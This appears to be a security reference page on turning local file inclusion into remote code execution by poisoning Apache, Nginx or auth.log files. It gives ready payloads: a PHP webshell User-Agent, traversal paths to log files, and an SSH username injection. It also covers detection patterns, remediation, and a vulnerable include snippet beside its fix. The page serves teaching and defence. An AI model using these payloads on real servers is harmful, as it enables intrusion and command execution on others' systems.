LFI log poisoning to RCE (including a poisoned log file)
LFI log poisoning to RCE works in two steps: first write PHP into a file the server logs to — typically the Apache/Nginx access log via a crafted User-Agent, or auth.log via an SSH username — then use the file-inclusion bug to include that log so the injected PHP executes. It is the classic LFI-to-RCE path when wrappers are disabled but a log file is both readable and attacker-influenced.
How it works
Web and system services record attacker-controlled fields verbatim. The access log stores the request's User-Agent and URL; auth.log stores the SSH username on a failed login; the mail log stores addresses. If any such field contains PHP, that PHP ends up on disk inside a log the web-server user can read.
Step one: send a request (or SSH/mail attempt) whose controllable field is <?php system($_GET['c']); ?>. The service writes it into its log file.
Step two: use the LFI to include the log path (e.g. /var/log/apache2/access.log). include runs the file as PHP, executing the injected code; appending ?c=id then runs commands. Success depends on the log path being known and readable and on the field surviving un-sanitised.
When it works and when it fails
Works when
- User input reaches include/require and a log file is readable by the web-server user.
- An attacker-controlled field (User-Agent, URL, SSH username) is logged without encoding.
- The log path is known or guessable (default Apache/Nginx/syslog locations).
Fails when
- Logs are outside the process's read scope (open_basedir, permissions, separate log user).
- Input is allowlisted so the log path can never be included.
- The target file is read, not executed (e.g. non-PHP include context), so injected PHP is inert.
Representative payloads
Adapt these to your authorized target; they are shown in canonical form. Payloads are never translated.
User-Agent: <?php system($_GET['c']); ?>Linux / UnixNo filterSent as the User-Agent header so the web server writes the PHP into its access log; set this header, then include the log.
Note: This is the injection step (a header), not the include parameter.
../../../../var/log/apache2/access.logLinux / UnixNo filterIncludes the Apache access log so previously injected PHP executes; add ?c=id to run commands.
../../../../var/log/nginx/access.logLinux / UnixNo filterNginx default access-log path for the same two-step attack on Nginx hosts.
../../../../var/log/auth.logLinux / UnixNo filterAfter an SSH login attempt with a PHP-laden username, including auth.log executes the injected code.
Note: Inject via: ssh '<?php system($_GET[0]);?>'@target
Detection
In logs
- Log entries whose fields contain <?php , <? , or <script — PHP/markup in a User-Agent, URL, or username.
- Inclusion of log paths in file parameters: access.log, error.log, auth.log, vsftpd.log, mail.log.
- An include of a log file immediately followed by requests adding a command parameter (?c=, ?0=).
In code
- User input reaching include/require with readable log files in scope.
- No allowlist between the request and the include target.
- Service configuration that logs raw, unencoded request fields (normal) combined with includable logs (the real bug).
Detection rule: Correlate (a) log lines containing <?php with (b) subsequent requests that include a *.log path; either alone is weaker, together it is high-confidence.
Remediation
- Fix the inclusion: never pass user input to include/require; use an allowlist of keys to fixed local files. This closes log poisoning and every other LFI-to-RCE path.
- Ensure the web application cannot read system/service logs — separate log ownership, restrictive permissions, open_basedir, and chroot/containers.
- Keep allow_url_include off and dangerous wrappers disabled so attackers cannot fall back to other RCE routes.
- Run the app as a low-privilege user with disable_functions set, limiting what injected code can do even if execution occurs.
Vulnerable (php)
include($_GET['page']); // ../../var/log/apache2/access.logFixed
$pages = ['home' => 'home.php', 'news' => 'news.php'];
$key = (string) ($_GET['page'] ?? 'home');
if (!isset($pages[$key])) { http_response_code(404); exit; }
include __DIR__ . '/pages/' . $pages[$key];If user input never reaches include, a poisoned log can never be executed.
FAQ
- Why does including a log file run code?
- PHP include executes any PHP tags in the file it reads. A log that contains an attacker's <?php ... ?> (written there via a logged field) is executed just like a script when it is included.